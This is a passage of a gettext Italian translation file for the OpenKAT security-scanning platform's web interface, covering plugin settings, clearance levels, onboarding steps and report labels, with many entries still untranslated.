katalogus/templates/plugin_container_image.html\nmsgid \"The container image for this Boefje is:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"Boefje variants that use the same container image. For more information \"\n\"about Boefje variants you can read the documentation.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Add variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"confirmation\"\nmsgstr \"conferma\"\n\n#: katalogus/templates/plugin_container_image.html\n#, python-format\nmsgid \"Variant %(plugin.name)s created.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The Boefje variant is successfully created and can now be used.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Overview of variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/plugin_overview_table.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Status\"\nmsgstr \"Stato\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Age\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan interval\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Run on\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"current\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\nmsgid \"minutes\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Default system scan frequency\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Boefje ID\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Creation date\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Arguments\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The following arguments are used for this Boefje variant:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"There are no arguments used for this Boefje variant.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Edit variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"This Boefje has no variants yet.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"You can make a variant and change the arguments and JSON Schema to customize \"\n\"it to fit your needs.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting\"\nmsgid_plural \"Add settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Setting\"\nmsgid_plural \"Settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting and enable boefje\"\nmsgid_plural \"Add settings and enable boefje\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_delete.html\nmsgid \"Delete settings\"\nmsgstr \"Elimina impostazioni\"\n\n#: katalogus/templates/plugin_settings_delete.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete all settings for the plugin %(plugin_name)s?\"\nmsgstr \"\"\n\"Sei sicuro di voler eliminare tutte le impostazioni per il plugin \"\n\"%(plugin_name)s?\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"\"\n\"In the table below the settings for this specific Boefje can be seen. Set or \"\n\"change the value of the variables by editing the settings.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Configure Settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Overview of settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Variable\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Session has terminated, please select objects again.\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Change clearance level\"\nmsgstr \"Cambia il livello di autorizzazione\"\n\n#: katalogus/views/katalogus_settings.py\nmsgid \"Settings from {} to {} successfully cloned.\"\nmsgstr \"Impostazioni da {} a {} clonate con successo.\"\n\n#: katalogus/views/katalogus_settings.py\n#: katalogus/views/plugin_settings_list.py\nmsgid \"Failed getting settings for boefje {}\"\nmsgstr \"Errore nel recupero delle impostazioni per il boefje {}\"\n\n#: katalogus/views/mixins.py\nmsgid \"\"\n\"Getting information for plugin {} failed. Please check the KATalogus logs.\"\nmsgstr \"\"\n\"Recuperare le informazioni per il plugin {} è fallito. Controlla i log di \"\n\"KATalogus.\"\n\n#: katalogus/views/plugin_detail.py\nmsgid \"\"\n\"Some selected OOIs needs an increase of clearance level to perform scans. \"\n\"You do not have the permission to change clearance level.\"\nmsgstr \"\"\n\"Alcuni OOIs selezionati necessitano di un aumento del livello di \"\n\"autorizzazione per eseguire scansioni. Non hai il permesso di cambiare il \"\n\"livello di autorizzazione.\"\n\n#: katalogus/views/plugin_enable_disable.py\n#, fuzzy\nmsgid \"{} '{}' disabled.\"\nmsgstr \"\"\n\"Recupero delle impostazioni del boefje {boefje_name} non riuscito. Katalogus \"\n\"è attivo?\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' enabled.\"\nmsgstr \"\"\n\"Recupero delle impostazioni del boefje {boefje_name} non riuscito. Katalogus \"\n\"è attivo?\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"You have not acknowledged your clearance level. Go to your profile page to \"\n\"acknowledge your clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is not set. Go to your profile page to see your \"\n\"clearance or contact the administrator to set a clearance level.\"\nmsgstr \"\"\n\"Prima di abilitare, impostare le impostazioni richieste per il boefje \"\n\"'{boefje_name}'.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is L{}. Contact your administrator to get a higher \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\n#, fuzzy\nmsgid \"To enable {} you need at least a clearance level of L{}. \"\nmsgstr \"Stai per impostare il livello di autorizzazione da \\\\\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Trying to add settings to boefje without schema\"\nmsgstr \"Tentativo di aggiungere impostazioni a boefje senza schema\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"No changes to the settings added: no form data present\"\nmsgstr \"\"\n\"Nessuna modifica alle impostazioni aggiunte: nessun dato del modulo presente\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Added settings for '{}'\"\nmsgstr \"Impostazioni aggiunte per '{}'\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Failed adding settings\"\nmsgstr \"Impossibile aggiungere le impostazioni\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Enabling {} failed\"\nmsgstr \"Abilitazione di {} non riuscita\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Boefje '{}' enabled.\"\nmsgstr \"Boefje '{}' abilitato.\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Add settings\"\nmsgstr \"Aggiungi impostazioni\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Settings for plugin {} successfully deleted.\"\nmsgstr \"Impostazioni per il plugin {} eliminate con successo.\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Plugin {} has no settings.\"\nmsgstr \"Il plugin {} non ha impostazioni.\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"\"\n\"Failed deleting Settings for plugin {}. Check the Katalogus logs for more \"\n\"info.\"\nmsgstr \"\"\n\"Eliminazione delle impostazioni del plugin {} non riuscita. Controlla i log \"\n\"di Katalogus per ulteriori informazioni.\"\n\n#: onboarding/forms.py\nmsgid \"\"\n\"The clearance level determines how aggressive the object can be scanned by \"\n\"plugins. A higher clearance level means more aggressive scans are allowed.\"\nmsgstr \"\"\n\n#: onboarding/forms.py tools/forms/ooi.py\nmsgid \"explanation-clearance-level\"\nmsgstr \"Spiegazione del livello di autorizzazione\"\n\n#: onboarding/forms.py\nmsgid \"Please enter a valid URL starting with 'http://' or 'https://'.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/onboarding_header.html\nmsgid \"Onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"Welcome to OpenKAT!\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"Welcome to the onboarding of OpenKAT. We will walk you through some steps to \"\n\"set everything up.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"At the end of this onboarding you have added your first object, created your \"\n\"first DNS report and learned about some basic concepts used within OpenKAT.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"The full documentation for OpenKAT can be found at:\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\n#: rocky/templates/organizations/organization_add.html\nmsgid \"Organization setup\"\nmsgstr \"Configurazione dell'organizzazione\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\nmsgid \"\"\n\"Please enter the following organization details. The organization name can \"\n\"be changed later in the interface. The organization code cannot be changed \"\n\"as this is used by the database.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\n#: reports/report_types/concatenated_report/report.py\nmsgid \"Report\"\nmsgstr \"Report\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Boefjes are scanning\"\nmsgstr \"Boefjes stanno eseguendo la scansione\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"The enabled Boefjes are running in the background to gather the data for \"\n\"your DNS Report. This may take a few minutes.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"In the meantime you can explore OpenKAT and view your DNS Report on the \"\n\"Reports page once it has been generated.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Continue to OpenKAT\"\nmsgstr \"\"\n\n#: onboarding/templates/step_1_introduction_registration.html\n#: onboarding/templates/step_1a_introduction.html\nmsgid \"Let's get started\"\nmsgstr \"Cominciamo\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: onboarding/templates/step_2b_organization_update.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization details\"\nmsgstr \"Dettagli dell'organizzazione\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: rocky/templates/forms/json_schema_form.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_member_add.html\n#: rocky/templates/organizations/organization_member_add_account_type.html\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\n#: rocky/templates/partials/form/indemnification_add_form.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Submit\"\nmsgstr \"Invia\"\n\n#: onboarding/templates/step_2b_organization_update.html\nmsgid \"Submit changes\"\nmsgstr \"Invia modifiche\"\n\n#: onboarding/templates/step_2b_organization_update.html\n#: onboarding/templates/step_3_indemnification_setup.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Continue\"\nmsgstr \"Continua\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification setup\"\nmsgstr \"Configurazione dell'indennizzo\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification on the organization is already present.\"\nmsgstr \"L'indennizzo sull'organizzazione è già presente.\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"User clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The user clearance level specifies the maximum scan level for security scans \"\n\"and the maximum clearance level you can assign to objects (e.g. a URL).\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The administrator assigns a maximum user clearance level to each user. This \"\n\"will make sure that only trusted users can start more aggressive scans.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"A user must accept a clearance level, before they perform actions in \"\n\"OpenKAT. Here you may accept the maximum trusted clearance level, as \"\n\"assigned by your administrator. On your user settings page you can choose to \"\n\"lower your accepted clearance level after completing the onboarding.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"What is my clearance level?\"\nmsgstr \"Qual è il mio livello di autorizzazione?\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Unfortunately you cannot continue the onboarding. </br> Your administrator \"\n\"has trusted you with a clearance level of <strong>L%(tcl)s</strong>. </br> \"\n\"You need at least a clearance level of \"\n\"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n\"<strong>%(ooi)s</strong> </br> Contact your administrator to receive a \"\n\"higher clearance.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: onboarding/templates/step_6_set_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\n#: onboarding/templates/step_9_choose_report_type.html\n#: rocky/templates/partials/form/boefje_tiles_form.html\nmsgid \"Skip onboarding\"\nmsgstr \"Salta l'introduzione\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has trusted you with a clearance level of \"\n\"<strong>L%(tcl)s</strong>. </br> You must first accept this clearance level \"\n\"to continue.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has <strong>trusted</strong> you with a clearance level \"\n\"of <strong>L%(tcl)s</strong>.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Add an object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"OpenKAT uses various kinds of objects, like IP addresses, hostnames and \"\n\"URLs. In the onboarding we will add an URL object, such as our vulnerable \"\n\"OpenKAT website: https://mispo.es.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Related objects\"\nmsgstr \"Oggetti correlati\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"Most objects have dependencies on the existence of related objects. For \"\n\"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n\"qualified domain name) and IP address. When possible OpenKAT automatically \"\n\"collects and adds these related objects by running scans. Objects can also \"\n\"be manually added.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Create object\"\nmsgstr \"Crea oggetto\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set object clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"\"\n\"After creating a new object you can set a clearance level for this object. A \"\n\"clearance level determines how aggressive the object can be scanned. A \"\n\"higher clearance level, means that more aggressive scans are allowed. \"\n\"Clearance levels can always be adjusted later on.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\n#, python-format\nmsgid \"\"\n\"For the onboarding we use a clearance level of \"\n\"L%(dns_report_least_clearance_level)s, meaning only informational scans are \"\n\"allowed.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set clearance level\"\nmsgstr \"Imposta il livello di autorizzazione\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Plugin introduction\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan your objects. Each plugin has a scan level to \"\n\"specify how aggressive the scan is. Plugins can only scan those objects with \"\n\"a clearance level that is equal to, or higher than the scan level of the \"\n\"plugin. Plugin scan level are indicated by the number of cat paws.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>DNS Zone</strong> has a scan level of 1, meaning that it \"\n\"performs non-intrusive scans which look for publicly available information. \"\n\"It scans objects with a clearance level of 1 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>Fierce</strong> has a scan level of 3, meaning that it \"\n\"more aggressive and could potentially break things. It scans objects with a \"\n\"clearance level of 3 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enabling plugins and start scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan, check and analyze. There are three types of \"\n\"plugins.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The first plugin are <b>Boefjes</b>, which scan objects for data. These are \"\n\"security tools like nmap, LeakIX and WPscan. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The other two plugins are <b>Normalizers</b> and <b>Bits</b>, which are used \"\n\"to process the output of Boefjes. They can create findings and related \"\n\"objects. Bits are also used to create organization specific findings, based \"\n\"on policy requirements. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"For the onboarding we will enable the Boefjes shown below. Once enabled \"\n\"these Boefjes gather publicly available information on suitable objects with \"\n\"a clearance level of 1 or higher. Normalizers and Bits are enabled by \"\n\"default.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enable and continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate a report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"Reports can be used to gain more insights in your organizations assets. You \"\n\"can generate different types of reports in OpenKAT. Each report may require \"\n\"one or more plugins that provide the input for the report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"For the onboarding we will generate a DNS report for your added URL. In the \"\n\"previous step you enabled the required plugins for this report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate DNS Report\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"1: Welcome\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"2: Organization setup\"\nmsgstr \"2: Impostazione dell'organizzazione\"\n\n#: onboarding/view_helpers.py\nmsgid \"3: Add object\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"4: Plugins\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"5: Generating report\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully created.\"\nmsgstr \"{org_name} creato con successo.\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully updated.\"\nmsgstr \"{org_name} aggiornato con successo.\"\n\n#: onboarding/views.py\nmsgid \"Creating an object\"\nmsgstr \"Creazione di un oggetto\"\n\n#: onboarding/views.py\nmsgid \"Fetch the parent DNS zone of a hostname\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Finds subdomains by brute force\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select a plugin to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select all required plugins to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py reports/views/aggregate_report.py\n#: reports/views/generate_report.py\nmsgid \"An error occurred while enabling {}. The plugin is not available.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Plugins successfully enabled.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Web URL not found.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"\"\n\"Your report is scheduled for generation in about 3 minutes, as we are \"\n\"waiting for Boefjes to complete. In the meantime get familiar with OpenKAT \"\n\"and visit the Reports History tab later.\"\nmsgstr \"\"\n\n#: reports/forms.py tools/forms/ooi_form.py\nmsgid \"Filter by OOI types\"\nmsgstr \"Filtra per tipi di OOI\"\n\n#: reports/forms.py\nmsgid \"Today\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Different date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yes, repeat\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start time (UTC)\"\nmsgstr \"\"\n\n#: reports/forms.py\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recurrence\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No recurrence, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Daily\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Weekly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Monthly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yearly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"day\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"week\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"month\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"year\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Never\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"On\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"After\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Report name format\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/multi_organization_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Appendix\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Currently filtered on\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected Report Types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Selected report types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Report type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Service Versions and Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Service, version and health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/footer.html\n#: rocky/templates/health.html\nmsgid \"Service\"\nmsgstr \"Servizio\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/health.html\nmsgid \"Version\"\nmsgstr \"Versione\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/footer.html rocky/views/health.py\nmsgid \"Health\"\nmsgstr \"Salute\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/health.html\nmsgid \"Healthy\"\nmsgstr \"Sano\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Unhealthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used Config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Primary Key\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Bit ID\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Config\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"No config objects found.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Asset overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"\"\n\"An overview of the manually released scanned assets. Assets in <strong>bold</\"\n\"strong> are taken as a starting point, assets that are not in bold were \"\n\"found by OpenKAT itself.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"Overview of the basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"\"\n\"This table provides an overview of the basic security status of the known \"\n\"assets. Basic security in order. In principle, all values in this table \"\n\"should be checked off.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"Basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/multi_organization_report/ipv6.html\n#: reports/report_types/systems_report/report.html\nmsgid \"System type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"System Specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"RPKI\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"server\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"This chapter contains information about the findings that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"There is <i>%(total_findings)s</i> vulnerability\"\nmsgid_plural \"There are <i>%(total_findings)s</i> vulnerabilities\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"found on <i>%(total_systems)s</i> system.\"\nmsgid_plural \"found on <i>%(total_systems)s</i> systems.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"There are no recommendations.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Basic security\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"In this chapter, first a table of compliance checks is displayed, followed \"\n\"by a detailed examination of compliance issues for each component.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"System specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Resource Public Key Infrastructure\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: 